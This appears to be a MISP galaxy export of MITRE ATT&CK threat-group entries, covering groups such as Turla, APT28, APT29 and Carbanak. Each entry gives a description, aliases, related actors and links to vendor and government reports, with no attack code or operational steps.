The tag is: *misp-galaxy:mitre-intrusion-set="Axiom - G0001"*

Axiom - G0001 is also known as:

- Axiom
- Group 72

View relationships graph

Axiom - G0001 has relationships with:

- similar: misp-galaxy:threat-actor="APT17" with estimative-language:likelihood-probability="likely"

Table 10777. Table References

Links
http://blogs.cisco.com/security/talos/threat-spotlight-group-72
https://attack.mitre.org/groups/G0001
https://securelist.com/games-are-over/70991/
https://securelist.com/winnti-more-than-just-a-game/37029/
https://web.archive.org/web/20150412223949/http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf
https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf

Inception - G0100

[Inception](https://attack.mitre.org/groups/G0100) is a cyber espionage group active since at least 2014. The group has targeted multiple industries and governmental entities primarily in Russia, but has also been active in the United States and throughout Europe, Asia, Africa, and the Middle East.(Citation: Unit 42 Inception November 2018)(Citation: Symantec Inception Framework March 2018)(Citation: Kaspersky Cloud Atlas December 2014)

The tag is: *misp-galaxy:mitre-intrusion-set="Inception - G0100"*

Inception - G0100 is also known as:

- Inception
- Inception Framework
- Cloud Atlas

Table 10778. Table References

Links
https://attack.mitre.org/groups/G0100
https://securelist.com/cloud-atlas-redoctober-apt-is-back-in-style/68083/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/inception-framework-hiding-behind-proxies
https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability/

Turla - G0010

[Turla](https://attack.mitre.org/groups/G0010) is a cyber espionage threat group that has been attributed to Russia's Federal Security Service (FSB). They have compromised victims in over 50 countries since at least 2004, spanning a range of industries including government, embassies, military, education, research and pharmaceutical companies. [Turla](https://attack.mitre.org/

groups/G0010) is known for conducting watering hole and spearphishing campaigns, and leveraging in-house tools and malware, such as [Uroburos](https://attack.mitre.org/software/S0022).(Citation: Kaspersky Turla)(Citation: ESET Gazer Aug 2017)(Citation: CrowdStrike VENOMOUS BEAR)(Citation: ESET Turla Mosquito Jan 2018)(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)

The tag is: *misp-galaxy:mitre-intrusion-set="Turla - G0010"*

Turla - G0010 is also known as:

- Turla
- IRON HUNTER
- Group 88
- Waterbug
- WhiteBear
- Snake
- Krypton
- Venomous Bear
- Secret Blizzard
- BELUGASTURGEON

View relationships graph

Turla - G0010 has relationships with:

- similar: misp-galaxy:threat-actor="APT26" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Turla" with estimative-language:likelihood-probability="likely"

Table 10779. Table References

Links
http://www.secureworks.com/research/threat-profiles/iron-hunter
https://attack.mitre.org/groups/G0010
https://blog.talosintelligence.com/2021/09/tinyturla.html
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide
https://securelist.com/introducing-whitebear/81638/
https://securelist.com/the-epic-turla-operation/65545/
https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity
https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf

https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-march-venomous-bear/
https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf
https://www.threatminer.org/report.php?q=waterbug-attack-group.pdf&y=2015#gsc.tab=0&gsc.q=waterbug-attack-group.pdf&gsc.page=1
https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/
https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf
https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf

APT32 - G0050

[APT32](https://attack.mitre.org/groups/G0050) is a suspected Vietnam-based threat group that has been active since at least 2014. The group has targeted multiple private sector industries as well as foreign governments, dissidents, and journalists with a strong focus on Southeast Asian countries like Vietnam, the Philippines, Laos, and Cambodia. They have extensively used strategic web compromises to compromise victims.(Citation: FireEye APT32 May 2017)(Citation: Volexity OceanLotus Nov 2017)(Citation: ESET OceanLotus)

The tag is: *misp-galaxy:mitre-intrusion-set="APT32 - G0050"*

APT32 - G0050 is also known as:

- APT32
- SeaLotus
- OceanLotus
- APT-C-00
- Canvas Cyclone
- BISMUTH

View relationships graph

APT32 - G0050 has relationships with:

- similar: misp-galaxy:threat-actor="APT32" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:360net-threat-actor="□□□ - APT-C-00" with estimative-language:likelihood-probability="likely"

Table 10780. Table References

Links
https://attack.mitre.org/groups/G0050

https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide
https://www.amnestyusa.org/wp-content/uploads/2021/02/Click-and-Bait_Vietnamese-Human-Rights-Defenders-Targeted-with-Spyware-Attacks.pdf
https://www.cybereason.com/blog/operation-cobalt-kitty-apt
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html
https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/
https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/
https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/

TA505 - G0092

[TA505](https://attack.mitre.org/groups/G0092) is a cyber criminal group that has been active since at least 2014. [TA505](https://attack.mitre.org/groups/G0092) is known for frequently changing malware, driving global trends in criminal malware distribution, and ransomware campaigns involving [Clop](https://attack.mitre.org/software/S0611).(Citation: Proofpoint TA505 Sep 2017)(Citation: Proofpoint TA505 June 2018)(Citation: Proofpoint TA505 Jan 2019)(Citation: NCC Group TA505)(Citation: Korean FSI TA505 2020)

The tag is: *misp-galaxy:mitre-intrusion-set="TA505 - G0092"*

TA505 - G0092 is also known as:

- TA505
- Hive0065
- Spandex Tempest
- CHIMBORAZO

Table 10781. Table References

Links
https://attack.mitre.org/groups/G0092
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide
https://research.nccgroup.com/2020/11/18/ta505-a-brief-history-of-their-time/
https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/
https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory=
https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505
https://www.proofpoint.com/us/threat-insight/post/ta505-shifts-times

https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter

APT28 - G0007

[APT28](https://attack.mitre.org/groups/G0007) is a threat group that has been attributed to Russia's General Staff Main Intelligence Directorate (GRU) 85th Main Special Service Center (GTsSS) military unit 26165.(Citation: NSA/FBI Drovorub August 2020) This group has been active since at least 2004.(Citation: DOJ GRU Indictment Jul 2018) (Citation: Ars Technica GRU indictment Jul 2018) (Citation: Crowdstrike DNC June 2016) (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: FireEye APT28 January 2017) (Citation: GRIZZLY STEPPE JAR) (Citation: Sofacy DealersChoice) (Citation: Palo Alto Sofacy 06-2018) (Citation: Symantec APT28 Oct 2018) (Citation: ESET Zebrocy May 2019)

[APT28](https://attack.mitre.org/groups/G0007) reportedly compromised the Hillary Clinton campaign, the Democratic National Committee, and the Democratic Congressional Campaign Committee in 2016 in an attempt to interfere with the U.S. presidential election. (Citation: Crowdstrike DNC June 2016) In 2018, the US indicted five GRU Unit 26165 officers associated with [APT28](https://attack.mitre.org/groups/G0007) for cyber operations (including close-access operations) conducted between 2014 and 2018 against the World Anti-Doping Agency (WADA), the US Anti-Doping Agency, a US nuclear facility, the Organization for the Prohibition of Chemical Weapons (OPCW), the Spiez Swiss Chemicals Laboratory, and other organizations.(Citation: US District Court Indictment GRU Oct 2018) Some of these were conducted with the assistance of GRU Unit 74455, which is also referred to as [Sandworm Team](https://attack.mitre.org/groups/G0034).

The tag is: *misp-galaxy:mitre-intrusion-set="APT28 - G0007"*

APT28 - G0007 is also known as:

- APT28
- SNAKEMACKEREL
- Swallowtail
- Group 74
- Sednit
- Sofacy
- Pawn Storm
- Fancy Bear
- STRONTIUM
- Tsar Team
- Threat Group-4127
- TG-4127

View relationships graph

APT28 - G0007 has relationships with:

- similar: misp-galaxy:microsoft-activity-group="STRONTIUM" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:360net-threat-actor="□□□ - APT-C-20" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="APT28" with estimative-language:likelihood-probability="likely"

Table 10782. Table References

Links
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf
https://arstechnica.com/information-technology/2018/07/from-bitly-to-x-agent-how-gru-hackers-targeted-the-2016-presidential-election/
https://attack.mitre.org/groups/G0007
https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html
https://media.defense.gov/2020/Aug/13/2002476465/-1/-1/0/CSA_DROVORUB_RUSSIAN_GRU_MALWARE_AUG_2020.PDF
https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/
https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/
https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/
https://securelist.com/a-slice-of-2017-sofacy-activity/83930/
https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/
https://www.accenture.com/t20181129T203820Z*w*/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf
https://www.justice.gov/file/1080281/download
https://www.justice.gov/opa/page/file/1098481/download
https://www.microsoft.com/security/blog/2020/09/10/strontium-detecting-new-patters-credential-harvesting/
https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign
https://www.symantec.com/blogs/election-security/apt28-espionage-military-government
https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf
https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/
https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf

Equation - G0020

[Equation](https://attack.mitre.org/groups/G0020) is a sophisticated threat group that employs multiple remote access tools. The group is known to use zero-day exploits and has developed the capability to overwrite the firmware of hard disk drives. (Citation: Kaspersky Equation QA)

The tag is: *misp-galaxy:mitre-intrusion-set="Equation - G0020"*

Equation - G0020 is also known as:

- Equation

Table 10783. Table References

Links
https://attack.mitre.org/groups/G0020
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf

Moafee - G0002

[Moafee](https://attack.mitre.org/groups/G0002) is a threat group that appears to operate from the Guandong Province of China. Due to overlapping TTPs, including similar custom tools, Moafee is thought to have a direct or indirect relationship with the threat group [DragonOK](https://attack.mitre.org/groups/G0017). (Citation: Haq 2014)

The tag is: *misp-galaxy:mitre-intrusion-set="Moafee - G0002"*

Moafee - G0002 is also known as:

- Moafee

View relationships graph

Moafee - G0002 has relationships with:

- similar: misp-galaxy:threat-actor="DragonOK" with estimative-language:likelihood-probability="likely"

Table 10784. Table References

Links
https://attack.mitre.org/groups/G0002
https://www.fireeye.com/blog/threat-research/2014/09/the-path-to-mass-producing-cyber-attacks.html

Ke3chang - G0004

[Ke3chang](https://attack.mitre.org/groups/G0004) is a threat group attributed to actors operating out of China. [Ke3chang](https://attack.mitre.org/groups/G0004) has targeted oil, government, diplomatic, military, and NGOs in Central and South America, the Caribbean, Europe, and North America since at least 2010.(Citation: Mandiant Operation Ke3chang November 2014)(Citation: NCC Group APT15 Alive and Strong)(Citation: APT15 Intezer June 2018)(Citation: Microsoft NICKEL December 2021)

The tag is: *misp-galaxy:mitre-intrusion-set="Ke3chang - G0004"*

Ke3chang - G0004 is also known as:

- Ke3chang
- APT15
- Mirage
- Vixen Panda
- GREF
- Playful Dragon
- RoyalAPT
- NICKEL
- Nylon Typhoon

Table 10785. Table References

Links
https://attack.mitre.org/groups/G0004
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide
https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/
https://web.archive.org/web/20180615122133/https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf
https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs
https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe

Cleaver - G0003

[Cleaver](https://attack.mitre.org/groups/G0003) is a threat group that has been attributed to

Iranian actors and is responsible for activity tracked as Operation Cleaver. (Citation: Cylance Cleaver) Strong circumstantial evidence suggests Cleaver is linked to Threat Group 2889 (TG-2889). (Citation: Dell Threat Group 2889)

The tag is: *misp-galaxy:mitre-intrusion-set="Cleaver - G0003"*

Cleaver - G0003 is also known as:

- Cleaver
- Threat Group 2889
- TG-2889

View relationships graph

Cleaver - G0003 has relationships with:

- similar: misp-galaxy:threat-actor="Cutting Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="OilRig" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Cleaver" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Flying Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Clever Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Rocket Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Charming Kitten" with estimative-language:likelihood-probability="likely"

Table 10786. Table References

Links
http://www.secureworks.com/cyber-threat-intelligence/threats/suspected-iran-based-hacker-group-creates-network-of-fake-linkedin-profiles/
https://attack.mitre.org/groups/G0003
https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf

Patchwork - G0040

[Patchwork](https://attack.mitre.org/groups/G0040) is a cyber espionage group that was first

observed in December 2015. While the group has not been definitively attributed, circumstantial evidence suggests the group may be a pro-Indian or Indian entity. [Patchwork](https://attack.mitre.org/groups/G0040) has been seen targeting industries related to diplomatic and government agencies. Much of the code used by this group was copied and pasted from online forums. [Patchwork](https://attack.mitre.org/groups/G0040) was also seen operating spearphishing campaigns targeting U.S. think tank groups in March and April of 2018.(Citation: Cymmetria Patchwork) (Citation: Symantec Patchwork)(Citation: TrendMicro Patchwork Dec 2017)(Citation: Volexity Patchwork June 2018)

The tag is: *misp-galaxy:mitre-intrusion-set="Patchwork - G0040"*

Patchwork - G0040 is also known as:

- Patchwork
- Hangover Group
- Dropping Elephant
- Chinastrats
- MONSOON
- Operation Hangover

View relationships graph

Patchwork - G0040 has relationships with:

- similar: misp-galaxy:threat-actor="QUILTED TIGER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:360net-threat-actor="□□□ - APT-C-09" with estimative-language:likelihood-probability="likely"

Table 10787. Table References

Links
http://www.symantec.com/connect/blogs/patchwork-cyberespionage-group-expands-targets-governments-wide-range-industries
https://attack.mitre.org/groups/G0040
https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf
https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/
https://securelist.com/the-dropping-elephant-actor/75328/
https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/
https://web.archive.org/web/20140424084220/http://enterprise-manage.norman.c.bitbit.net/resources/files/Unveiling_an_Indian_Cyberattack_Infrastructure.pdf

https://web.archive.org/web/20180825085952/https:/s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf
https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf
https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/

Carbanak - G0008

[Carbanak](https://attack.mitre.org/groups/G0008) is a cybercriminal group that has used [Carbanak](https://attack.mitre.org/software/S0030) malware to target financial institutions since at least 2013. [Carbanak](https://attack.mitre.org/groups/G0008) may be linked to groups tracked separately as [Cobalt Group](https://attack.mitre.org/groups/G0080) and [FIN7](https://attack.mitre.org/groups/G0046) that have also used [Carbanak](https://attack.mitre.org/software/S0030) malware.(Citation: Kaspersky Carbanak)(Citation: FireEye FIN7 April 2017)(Citation: Europol Cobalt Mar 2018)(Citation: Secureworks GOLD NIAGARA Threat Profile)(Citation: Secureworks GOLD KINGSWOOD Threat Profile)

The tag is: *misp-galaxy:mitre-intrusion-set="Carbanak - G0008"*

Carbanak - G0008 is also known as:

- Carbanak
- Anunak

View relationships graph

Carbanak - G0008 has relationships with:

- similar: misp-galaxy:threat-actor="FIN7" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:360net-threat-actor="Carbanak - APT-C-11" with estimative-language:likelihood-probability="likely"

Table 10788. Table References

Links
https://attack.mitre.org/groups/G0008
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf
https://www.europol.europa.eu/newsroom/news/mastermind-behind-eur-1-billion-cyber-bank-robbery-arrested-in-spain
https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html
https://www.fox-it.com/en/news/blog/anunak-aka-carbanak-update/
https://www.secureworks.com/research/threat-profiles/gold-kingswood?filter=item-financial-gain

https://www.secureworks.com/research/threat-profiles/gold-niagara

WIRTE - G0090

[WIRTE](https://attack.mitre.org/groups/G0090) is a threat group that has been active since at least August 2018. [WIRTE](https://attack.mitre.org/groups/G0090) has targeted government, diplomatic, financial, military, legal, and technology organizations in the Middle East and Europe.(Citation: Lab52 WIRTE Apr 2019)(Citation: Kaspersky WIRTE November 2021)

The tag is: *misp-galaxy:mitre-intrusion-set="WIRTE - G0090"*

WIRTE - G0090 is also known as:

- WIRTE

Table 10789. Table References

Links
https://attack.mitre.org/groups/G0090
https://lab52.io/blog/wirte-group-attacking-the-middle-east/
https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044

HEXANE - G1001

[HEXANE](https://attack.mitre.org/groups/G1001) is a cyber espionage threat group that has targeted oil & gas, telecommunications, aviation, and internet service provider organizations since at least 2017. Targeted companies have been located in the Middle East and Africa, including Israel, Saudi Arabia, Kuwait, Morocco, and Tunisia. [HEXANE](https://attack.mitre.org/groups/G1001)'s TTPs appear similar to [APT33](https://attack.mitre.org/groups/G0064) and [OilRig](https://attack.mitre.org/groups/G0049) but due to differences in victims and tools it is tracked as a separate entity.(Citation: Dragos Hexane)(Citation: Kaspersky Lyceum October 2021)(Citation: ClearSky Siamesekitten August 2021)(Citation: Accenture Lyceum Targets November 2021)

The tag is: *misp-galaxy:mitre-intrusion-set="HEXANE - G1001"*

HEXANE - G1001 is also known as:

- HEXANE
- Lyceum
- Siamesekitten
- Spirlin

Table 10790. Table References

Links

https://attack.mitre.org/groups/G1001
https://dragos.com/resource/hexane/
https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf
https://www.accenture.com/us-en/blogs/cyber-defense/iran-based-lyceum-campaigns
https://www.clearskysec.com/siamesekitten/
https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign

Frankenstein - G0101

[Frankenstein](https://attack.mitre.org/groups/G0101) is a campaign carried out between January and April 2019 by unknown threat actors. The campaign name comes from the actors' ability to piece together several unrelated components.(Citation: Talos Frankenstein June 2019)

The tag is: *misp-galaxy:mitre-intrusion-set="Frankenstein - G0101"*

Frankenstein - G0101 is also known as:

- Frankenstein

Table 10791. Table References

Links
https://attack.mitre.org/groups/G0101
https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html

PittyTiger - G0011

[PittyTiger](https://attack.mitre.org/groups/G0011) is a threat group believed to operate out of China that uses multiple different types of malware to maintain command and control.(Citation: Bizeul 2014)(Citation: Villeneuve 2014)

The tag is: *misp-galaxy:mitre-intrusion-set="PittyTiger - G0011"*

PittyTiger - G0011 is also known as:

- PittyTiger

View relationships graph

PittyTiger - G0011 has relationships with:

- similar: misp-galaxy:threat-actor="APT24" with estimative-language:likelihood-probability="likely"

Table 10792. Table References

Links

https://airbus-cyber-security.com/the-eye-of-the-tiger/
https://attack.mitre.org/groups/G0011
https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html

APT16 - G0023

[APT16](https://attack.mitre.org/groups/G0023) is a China-based threat group that has launched spearphishing campaigns targeting Japanese and Taiwanese organizations. (Citation: FireEye EPS Awakens Part 2)

The tag is: *misp-galaxy:mitre-intrusion-set="APT16 - G0023"*

APT16 - G0023 is also known as:

- APT16

Table 10793. Table References

Links
https://attack.mitre.org/groups/G0023
https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html

APT17 - G0025

[APT17](https://attack.mitre.org/groups/G0025) is a China-based threat group that has conducted network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations. (Citation: FireEye APT17)

The tag is: *misp-galaxy:mitre-intrusion-set="APT17 - G0025"*

APT17 - G0025 is also known as:

- APT17
- Deputy Dog

View relationships graph

APT17 - G0025 has relationships with:

- similar: misp-galaxy:threat-actor="APT17" with estimative-language:likelihood-probability="likely"

Table 10794. Table References

Links
https://attack.mitre.org/groups/G0025

https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf

APT18 - G0026

[APT18](https://attack.mitre.org/groups/G0026) is a threat group that has operated since at least 2009 and has targeted a range of industries, including technology, manufacturing, human rights groups, government, and medical. (Citation: Dell Lateral Movement)

The tag is: *misp-galaxy:mitre-intrusion-set="APT18 - G0026"*

APT18 - G0026 is also known as:

- APT18
- TG-0416
- Dynamite Panda
- Threat Group-0416

View relationships graph

APT18 - G0026 has relationships with:

- similar: misp-galaxy:threat-actor="SAMURAI PANDA" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="APT4" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="APT18" with estimative-language:likelihood-probability="likely"

Table 10795. Table References

Links
http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/
https://attack.mitre.org/groups/G0026
https://www.anomali.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop
https://www.threatstream.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop

APT29 - G0016

[APT29](https://attack.mitre.org/groups/G0016) is threat group that has been attributed to Russia's Foreign Intelligence Service (SVR).(Citation: White House Imposing Costs RU Gov April 2021)(Citation: UK Gov Malign RIS Activity April 2021) They have operated since at least 2008, often targeting government networks in Europe and NATO member countries, research institutes, and

think tanks. [APT29](https://attack.mitre.org/groups/G0016) reportedly compromised the Democratic National Committee starting in the summer of 2015.(Citation: F-Secure The Dukes)(Citation: GRIZZLY STEPPE JAR)(Citation: Crowdstrike DNC June 2016)(Citation: UK Gov UK Exposes Russia SolarWinds April 2021)

In April 2021, the US and UK governments attributed the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024) to the SVR; public statements included citations to [APT29](https://attack.mitre.org/groups/G0016), Cozy Bear, and The Dukes.(Citation: NSA Joint Advisory SVR SolarWinds April 2021)(Citation: UK NSCS Russia SolarWinds April 2021) Industry reporting also referred to the actors involved in this campaign as UNC2452, NOBELIUM, StellarParticle, Dark Halo, and SolarStorm.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: MSTIC NOBELIUM Mar 2021)(Citation: CrowdStrike SUNSPOT Implant January 2021)(Citation: Volexity SolarWinds)(Citation: Cybersecurity Advisory SVR TTP May 2021)(Citation: Unit 42 SolarStorm December 2020)

The tag is: *misp-galaxy:mitre-intrusion-set="APT29 - G0016"*

APT29 - G0016 is also known as:

- APT29
- IRON RITUAL
- IRON HEMLOCK
- NobleBaron
- Dark Halo
- NOBELIUM
- UNC2452
- YTTRIUM
- The Dukes
- Cozy Bear
- CozyDuke
- SolarStorm
- Blue Kitsune
- UNC3524
- Midnight Blizzard

View relationships graph

APT29 - G0016 has relationships with:

- similar: misp-galaxy:threat-actor="APT29" with estimative-language:likelihood-probability="likely"

Table 10796. Table References

Links

http://www.secureworks.com/research/threat-profiles/iron-hemlock

https://attack.mitre.org/groups/G0016

https://labs.sentinelone.com/noblebaron-new-poisoned-installers-could-be-used-in-supply-chain-attacks/

https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

https://media.defense.gov/2021/Apr/15/2002621240/-1/-1/0/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF

https://msrc-blog.microsoft.com/2021/06/25/new-nobelium-activity/

https://unit42.paloaltonetworks.com/solarstorm-supply-chain-attack-timeline/

https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/

https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/

https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/

https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf

https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html

https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html

https://www.gov.uk/government/news/russia-uk-and-us-expose-global-campaigns-of-malign-activity-by-russian-intelligence-services

https://www.gov.uk/government/news/russia-uk-exposes-russian-involvement-in-solarwinds-cyber-compromise

https://www.mandiant.com/resources/blog/unc3524-eye-spy-email

https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/

https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/

https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/

https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/

https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf

https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf

https://www.ncsc.gov.uk/news/uk-and-us-call-out-russia-for-solarwinds-compromise

https://www.pwc.co.uk/issues/cyber-security-services/insights/cleaning-up-after-wellmess.html

https://www.pwc.co.uk/issues/cyber-security-services/insights/wellmess-analysis-command-control.html

https://www.secureworks.com/research/threat-profiles/iron-ritual
https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf
https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/
https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf
https://www.whitehouse.gov/briefing-room/statements-releases/2021/04/15/fact-sheet-imposing-costs-for-harmful-foreign-activities-by-the-russian-government/

BITTER - G1002

[BITTER](https://attack.mitre.org/groups/G1002) is a suspected South Asian cyber espionage threat group that has been active since at least 2013. [BITTER](https://attack.mitre.org/groups/G1002) has targeted government, energy, and engineering organizations in Pakistan, China, Bangladesh, and Saudi Arabia.(Citation: Cisco Talos Bitter Bangladesh May 2022)(Citation: Forcepoint BITTER Pakistan Oct 2016)

The tag is: *misp-galaxy:mitre-intrusion-set="BITTER - G1002"*

BITTER - G1002 is also known as:

- BITTER
- T-APT-17

Table 10797. Table References

Links
https://attack.mitre.org/groups/G1002
https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html
https://www.forcepoint.com/blog/x-labs/bitter-targeted-attack-against-pakistan

Darkhotel - G0012

[Darkhotel](https://attack.mitre.org/groups/G0012) is a suspected South Korean threat group that has targeted victims primarily in East Asia since at least 2004. The group's name is based on cyber espionage operations conducted via hotel Internet networks against traveling executives and other select guests. [Darkhotel](https://attack.mitre.org/groups/G0012) has also conducted spearphishing campaigns and infected victims through peer-to-peer and file sharing networks.(Citation: Kaspersky Darkhotel)(Citation: Securelist Darkhotel Aug 2015)(Citation: Microsoft Digital Defense FY20 Sept 2020)

The tag is: *misp-galaxy:mitre-intrusion-set="Darkhotel - G0012"*

Darkhotel - G0012 is also known as:

- Darkhotel

- DUBNIUM
- Zigzag Hail

View relationships graph

Darkhotel - G0012 has relationships with:

- similar: misp-galaxy:360net-threat-actor="Darkhotel - APT-C-06" with estimative-language:likelihood-probability="likely"

Table 10798. Table References

Links
https://attack.mitre.org/groups/G0012
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070903/darkhotel_kl_07.11.pdf
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RWxPuf
https://securelist.com/darkhotels-attacks-in-2015/71713/
https://www.microsoft.com/security/blog/2016/06/09/reverse-engineering-dubnium-2/
https://www.microsoft.com/security/blog/2016/06/20/reverse-engineering-dubniums-flash-targeting-exploit/
https://www.microsoft.com/security/blog/2016/07/14/reverse-engineering-dubnium-stage-2-payload-analysis/

